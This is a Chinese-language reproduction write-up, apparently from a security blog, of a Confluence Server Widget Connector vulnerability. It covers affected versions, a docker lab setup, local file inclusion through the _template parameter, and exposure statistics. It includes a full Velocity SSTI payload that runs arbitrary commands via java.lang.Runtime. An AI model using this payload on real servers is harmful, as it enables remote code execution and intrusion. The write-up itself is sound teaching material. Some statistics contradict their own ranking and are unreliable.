2.影响版本:6.6.12之前所有6.6.x版本,6.12.3之前所有6.12.x版本,6.13.13之前所有6.13.x版本,6.14.2之前所有6.14.x版本。
3.漏洞产生原因:
参考资料:
执行如下命令启动一个ConfluenceServer6.10.2:
docker-composeup-d
如果提示填写clusternode,路径填写`/home/confluence`即可:
后续可能要求你填写数据库账号密码,选择postgres数据库,地址为`db`,账号密码均为`postgres`:
点击预览功能时发的包里并没有_template参数,需要手动加上。猜想这个漏洞应该是需要白盒审计才能发现吧。修改请求中_template参数的值,即可实现本地文件包含,发送如下数据包,即可读取文件`web.xml`:
在开启ftp的当前目录下写入r.vm文件
#set($exp="exp")#set($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))#set($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))#set($sc=$exp.getClass().forName("java.util.Scanner"))#set($constructor=$sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))#if($scan.hasNext())$scan.next()#end
该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:
官方已修复该漏洞,下载最新版的比对补丁,发现在com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java里面多了一个过滤,这个应该就是这个漏洞最关键的地方。
根据FOFA的数据统计,全球共有78158个Confluence开放服务,美国最多,有23002个服务,德国第二,有14385个开放服务,中国第三,有7281个服务,澳大利亚第四,有7959个服务,爱尔兰第五,有2893个服务。
全国的开放的Confluence服务中,浙江最多,有3040个服务,北京第二,有1713个服务,上海第三,有532个服务,广东第四,有525个服务。
根据ZoomEye网络空间搜索引擎对关键字"X-Confluence"进行搜索,共得到61,856条结果,主要分布美国、德国、中国等国家。